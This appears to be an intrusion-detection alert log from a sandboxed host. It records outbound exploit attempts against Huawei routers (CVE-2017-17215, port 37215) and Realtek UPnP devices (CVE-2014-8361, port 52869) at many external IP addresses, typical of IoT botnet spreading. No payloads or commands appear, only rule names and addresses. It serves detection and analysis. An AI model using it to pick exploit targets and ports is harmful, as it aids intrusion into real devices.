07/20/24-23:01:25.390959	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50694	37215	192.168.2.13	41.1.71.80
07/20/24-23:01:14.513708	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38188	52869	192.168.2.13	175.10.79.147
07/20/24-23:01:32.250506	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34050	37215	192.168.2.13	85.227.114.118
07/20/24-23:01:06.335635	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36394	52869	192.168.2.13	159.127.6.20
07/20/24-23:01:36.785491	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51126	37215	192.168.2.13	157.53.121.29
07/20/24-23:01:05.791437	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46912	52869	192.168.2.13	68.30.100.71
07/20/24-23:01:05.581362	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56178	52869	192.168.2.13	130.11.160.84
07/20/24-23:01:06.332005	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53400	52869	192.168.2.13	44.173.173.82
07/20/24-23:01:22.806676	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58190	37215	192.168.2.13	197.221.199.154
07/20/24-23:01:36.852816	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60748	37215	192.168.2.13	157.242.51.154
07/20/24-23:01:14.530874	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35364	52869	192.168.2.13	106.43.123.108
07/20/24-23:01:22.736600	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59158	37215	192.168.2.13	41.27.107.182
07/20/24-23:01:22.741097	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50284	37215	192.168.2.13	163.65.36.38
07/20/24-23:01:25.460589	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51320	37215	192.168.2.13	157.147.219.6
07/20/24-23:01:32.201728	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56450	37215	192.168.2.13	169.107.232.198
07/20/24-23:01:07.605472	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51432	52869	192.168.2.13	1.6.86.123
07/20/24-23:01:32.250505	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43210	37215	192.168.2.13	218.117.198.70
07/20/24-23:01:27.276711	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37430	37215	192.168.2.13	197.232.250.10
07/20/24-23:01:14.531479	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52724	52869	192.168.2.13	139.23.112.9
07/20/24-23:01:27.286229	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44644	37215	192.168.2.13	157.118.164.216
07/20/24-23:01:12.485458	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39152	37215	192.168.2.13	197.85.21.124
07/20/24-23:01:05.860143	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54888	52869	192.168.2.13	216.1.152.81
07/20/24-23:01:14.527257	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54994	52869	192.168.2.13	83.59.61.36
07/20/24-23:01:03.838826	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45482	52869	192.168.2.13	202.179.114.114
07/20/24-23:01:04.841989	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52210	37215	192.168.2.13	64.40.133.93
07/20/24-23:01:04.594736	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43384	52869	192.168.2.13	90.220.208.134
07/20/24-23:01:05.643403	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60734	52869	192.168.2.13	17.217.65.15
07/20/24-23:01:14.999580	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59478	37215	192.168.2.13	41.216.232.252
07/20/24-23:01:05.829182	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33150	52869	192.168.2.13	222.97.13.69
07/20/24-23:01:08.447448	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48688	37215	192.168.2.13	41.34.82.97
07/20/24-23:01:05.807508	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49084	52869	192.168.2.13	191.252.251.212
07/20/24-23:01:06.812906	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37212	37215	192.168.2.13	41.65.122.143
07/20/24-23:01:14.502469	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50310	52869	192.168.2.13	82.246.219.130
07/20/24-23:01:14.574230	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36660	52869	192.168.2.13	188.112.111.250
07/20/24-23:01:25.449989	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53680	37215	192.168.2.13	41.230.49.196
07/20/24-23:01:04.892226	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44036	37215	192.168.2.13	210.103.19.185
07/20/24-23:01:06.801053	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50078	37215	192.168.2.13	157.6.40.195
07/20/24-23:01:32.203847	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38444	37215	192.168.2.13	41.33.125.198
07/20/24-23:01:06.856653	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38670	52869	192.168.2.13	20.106.107.244
07/20/24-23:01:27.222234	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51670	37215	192.168.2.13	41.249.254.95
07/20/24-23:01:04.977218	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60772	52869	192.168.2.13	71.240.247.135
07/20/24-23:01:06.270558	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40392	52869	192.168.2.13	37.205.184.129
07/20/24-23:01:06.162884	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47210	52869	192.168.2.13	136.164.189.225
07/20/24-23:01:27.269293	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55950	37215	192.168.2.13	157.252.240.160
07/20/24-23:01:17.785461	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55268	37215	192.168.2.13	62.206.41.168
07/20/24-23:01:22.740155	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	32846	37215	192.168.2.13	197.220.255.251
07/20/24-23:01:06.801543	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41412	37215	192.168.2.13	157.82.183.17
07/20/24-23:01:07.419109	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58454	52869	192.168.2.13	50.236.24.191
07/20/24-23:01:27.306441	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46756	37215	192.168.2.13	197.244.180.181
07/20/24-23:01:08.449908	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34018	37215	192.168.2.13	197.98.226.158
07/20/24-23:01:04.848080	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39652	37215	192.168.2.13	41.221.111.207
07/20/24-23:01:08.392180	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52668	37215	192.168.2.13	41.171.243.41
07/20/24-23:01:07.518638	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42540	52869	192.168.2.13	32.227.60.125
07/20/24-23:01:36.846304	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55204	37215	192.168.2.13	41.88.127.111
07/20/24-23:01:36.783608	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48296	37215	192.168.2.13	157.77.244.28
07/20/24-23:01:27.297470	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44254	37215	192.168.2.13	157.38.204.155
07/20/24-23:01:14.518210	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47726	52869	192.168.2.13	158.124.195.199
07/20/24-23:01:25.413014	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37102	37215	192.168.2.13	41.203.145.177
07/20/24-23:00:59.021905	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42974	37215	192.168.2.13	157.11.177.150
07/20/24-23:01:36.808711	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33960	37215	192.168.2.13	157.176.116.11
07/20/24-23:01:04.917925	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40334	37215	192.168.2.13	73.212.180.198
07/20/24-23:01:32.232613	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59510	37215	192.168.2.13	98.109.125.254
07/20/24-23:01:25.388974	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58504	37215	192.168.2.13	41.173.88.11
07/20/24-23:01:19.625770	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33640	52869	192.168.2.13	157.51.202.158
07/20/24-23:01:14.566160	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59608	52869	192.168.2.13	119.98.5.56
07/20/24-23:01:06.264587	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41372	52869	192.168.2.13	81.73.195.232
07/20/24-23:01:06.813789	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46768	37215	192.168.2.13	178.209.30.110
07/20/24-23:00:59.021308	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54950	37215	192.168.2.13	157.230.111.60
07/20/24-23:01:27.237697	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56156	37215	192.168.2.13	41.199.196.57
07/20/24-23:01:04.582480	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60622	52869	192.168.2.13	199.170.141.174
07/20/24-23:01:06.798720	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59462	37215	192.168.2.13	197.52.246.40
07/20/24-23:01:12.504870	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47680	37215	192.168.2.13	197.173.191.191
07/20/24-23:01:12.533731	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38810	37215	192.168.2.13	197.36.25.75
07/20/24-23:01:04.874130	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41272	37215	192.168.2.13	157.187.16.84
07/20/24-23:01:04.853128	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55044	37215	192.168.2.13	41.251.18.109
07/20/24-23:01:22.748875	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58870	37215	192.168.2.13	157.96.53.15
07/20/24-23:01:20.583023	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59676	52869	192.168.2.13	176.200.162.136
07/20/24-23:01:22.810316	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47092	37215	192.168.2.13	197.95.249.154
07/20/24-23:00:59.020988	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32838	37215	192.168.2.13	41.150.219.200
07/20/24-23:01:14.544463	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59054	52869	192.168.2.13	178.39.107.192
07/20/24-23:01:36.787101	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38846	37215	192.168.2.13	41.29.113.77
07/20/24-23:01:14.539078	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38008	52869	192.168.2.13	198.95.42.42
07/20/24-23:01:36.780553	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54864	37215	192.168.2.13	119.6.92.121
07/20/24-23:01:25.390311	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50316	37215	192.168.2.13	197.203.138.176
07/20/24-23:01:36.787101	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44574	37215	192.168.2.13	197.254.240.168
07/20/24-23:01:14.566461	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60598	52869	192.168.2.13	80.21.51.67
07/20/24-23:01:27.277398	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37986	37215	192.168.2.13	157.196.105.18
07/20/24-23:01:06.804996	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47910	37215	192.168.2.13	189.184.222.159
07/20/24-23:01:06.011611	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49424	52869	192.168.2.13	4.4.167.103
07/20/24-23:01:14.558193	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45534	52869	192.168.2.13	2.24.106.226
07/20/24-23:01:05.552200	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37294	52869	192.168.2.13	91.73.86.81
07/20/24-23:01:14.522654	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57278	52869	192.168.2.13	191.251.66.209
07/20/24-23:01:14.513824	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43224	52869	192.168.2.13	170.171.127.228
07/20/24-23:01:32.208939	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36340	37215	192.168.2.13	157.33.56.225
07/20/24-23:01:27.354561	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45708	52869	192.168.2.13	207.192.171.160
07/20/24-23:01:27.229449	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52816	37215	192.168.2.13	41.156.147.3
07/20/24-23:01:36.785491	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48460	37215	192.168.2.13	49.206.51.10
07/20/24-23:01:22.810316	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36086	37215	192.168.2.13	197.254.150.61
07/20/24-23:01:07.304193	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46714	52869	192.168.2.13	79.212.148.111
07/20/24-23:00:59.019539	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36272	37215	192.168.2.13	182.85.50.153
07/20/24-23:01:25.390310	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51690	37215	192.168.2.13	41.61.211.184
07/20/24-23:00:59.023399	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45584	37215	192.168.2.13	157.219.233.88
07/20/24-23:01:32.264711	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39814	37215	192.168.2.13	192.153.241.221
07/20/24-23:01:06.801544	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50934	37215	192.168.2.13	25.30.82.100
07/20/24-23:01:32.248799	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38748	37215	192.168.2.13	197.127.237.138
07/20/24-23:01:22.745836	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44476	37215	192.168.2.13	157.27.225.240
07/20/24-23:01:14.513708	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37464	52869	192.168.2.13	120.120.202.208
07/20/24-23:01:20.451577	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57476	52869	192.168.2.13	114.155.105.80
07/20/24-23:01:06.448801	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34174	52869	192.168.2.13	223.227.5.114
07/20/24-23:01:12.485458	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59690	37215	192.168.2.13	157.237.78.212
07/20/24-23:00:59.021072	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47944	37215	192.168.2.13	41.143.52.237
07/20/24-23:01:22.743516	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35166	37215	192.168.2.13	223.37.180.162
07/20/24-23:01:36.798333	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54130	37215	192.168.2.13	157.86.138.181
07/20/24-23:01:14.551639	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34660	52869	192.168.2.13	153.105.129.20
07/20/24-23:01:04.848605	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41346	37215	192.168.2.13	41.154.139.135
07/20/24-23:00:59.022999	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49980	37215	192.168.2.13	217.47.253.96
07/20/24-23:01:36.862442	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56826	37215	192.168.2.13	197.89.245.204
07/20/24-23:01:14.502469	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56640	52869	192.168.2.13	163.209.94.25
07/20/24-23:01:27.359674	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60904	52869	192.168.2.13	181.177.254.25
07/20/24-23:01:36.847780	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40610	37215	192.168.2.13	188.225.197.111
07/20/24-23:01:27.361992	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53020	52869	192.168.2.13	122.30.247.236
07/20/24-23:01:08.381149	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53996	37215	192.168.2.13	41.144.216.124
07/20/24-23:01:12.553660	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45140	37215	192.168.2.13	197.224.176.148
07/20/24-23:01:22.749655	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34274	37215	192.168.2.13	197.10.128.41
07/20/24-23:01:02.628234	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37016	37215	192.168.2.13	197.123.108.99
07/20/24-23:01:22.780464	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57178	37215	192.168.2.13	197.78.38.112
07/20/24-23:01:04.846946	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45420	37215	192.168.2.13	197.214.104.241
07/20/24-23:00:59.021741	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48244	37215	192.168.2.13	157.45.88.204
07/20/24-23:01:05.533138	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34692	52869	192.168.2.13	65.224.243.64
07/20/24-23:01:12.495795	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55294	37215	192.168.2.13	41.97.250.254
07/20/24-23:01:04.892226	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42498	37215	192.168.2.13	41.204.123.230
07/20/24-23:01:12.492810	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56234	37215	192.168.2.13	41.97.120.250
07/20/24-23:01:14.512354	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42510	52869	192.168.2.13	207.32.229.66
07/20/24-23:01:04.988327	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	32794	52869	192.168.2.13	220.123.4.18
07/20/24-23:01:03.808937	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38814	52869	192.168.2.13	52.185.40.220
07/20/24-23:00:59.020982	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52342	37215	192.168.2.13	157.110.69.240
07/20/24-23:01:06.802009	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45708	37215	192.168.2.13	41.57.119.34
07/20/24-23:01:25.397771	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43648	37215	192.168.2.13	157.176.58.25
07/20/24-23:01:07.491149	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46874	52869	192.168.2.13	106.194.122.151
07/20/24-23:01:14.522654	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55288	52869	192.168.2.13	51.169.114.105
07/20/24-23:01:15.112954	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43340	37215	192.168.2.13	41.241.44.60
07/20/24-23:01:22.736870	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59148	37215	192.168.2.13	41.200.196.220
07/20/24-23:01:06.804996	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58982	37215	192.168.2.13	157.81.140.247
07/20/24-23:01:14.509824	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53088	52869	192.168.2.13	211.159.248.236
07/20/24-23:01:04.892226	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46482	37215	192.168.2.13	41.209.16.109
07/20/24-23:01:12.357339	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46248	37215	192.168.2.13	157.158.192.126
07/20/24-23:01:04.848605	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39698	37215	192.168.2.13	41.49.78.43
07/20/24-23:01:20.418133	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42426	52869	192.168.2.13	186.183.79.214
07/20/24-23:01:14.501229	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45402	52869	192.168.2.13	104.26.83.71
07/20/24-23:01:14.539913	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51786	52869	192.168.2.13	152.161.224.79
07/20/24-23:01:07.232267	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36452	52869	192.168.2.13	124.49.210.94
07/20/24-23:01:14.501031	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	42946	52869	192.168.2.13	166.157.8.210
07/20/24-23:01:12.504870	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37746	37215	192.168.2.13	105.62.143.218
07/20/24-23:01:22.780464	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57178	37215	192.168.2.13	197.78.38.112
07/20/24-23:01:06.293358	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53508	52869	192.168.2.13	144.53.119.5
07/20/24-23:01:22.826612	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43862	37215	192.168.2.13	157.95.42.53
07/20/24-23:01:02.699256	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53848	37215	192.168.2.13	41.170.121.130
07/20/24-23:01:32.271087	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33108	37215	192.168.2.13	197.133.175.82
07/20/24-23:01:04.858821	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33616	37215	192.168.2.13	157.217.115.59
07/20/24-23:01:05.995422	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55744	52869	192.168.2.13	137.137.144.212
07/20/24-23:00:59.022344	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54018	37215	192.168.2.13	46.185.21.147
07/20/24-23:01:14.502469	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43894	52869	192.168.2.13	31.175.187.129
07/20/24-23:01:22.811587	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46170	37215	192.168.2.13	41.107.44.23
07/20/24-23:01:12.539005	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55336	37215	192.168.2.13	197.241.50.58
07/20/24-23:00:59.020988	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49736	37215	192.168.2.13	65.79.209.34
07/20/24-23:01:04.907419	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40488	37215	192.168.2.13	197.236.227.173
07/20/24-23:01:06.820921	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34606	37215	192.168.2.13	157.77.20.171
07/20/24-23:01:32.199190	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43158	37215	192.168.2.13	157.119.225.136
07/20/24-23:01:06.240012	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38692	52869	192.168.2.13	121.104.50.97
07/20/24-23:01:02.601732	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41644	37215	192.168.2.13	197.214.26.254
07/20/24-23:01:06.205306	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33916	52869	192.168.2.13	162.26.5.38
07/20/24-23:01:06.862597	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58804	52869	192.168.2.13	61.114.188.190
07/20/24-23:01:14.998444	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41946	37215	192.168.2.13	157.180.89.127
07/20/24-23:01:22.743515	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40824	37215	192.168.2.13	41.81.132.84
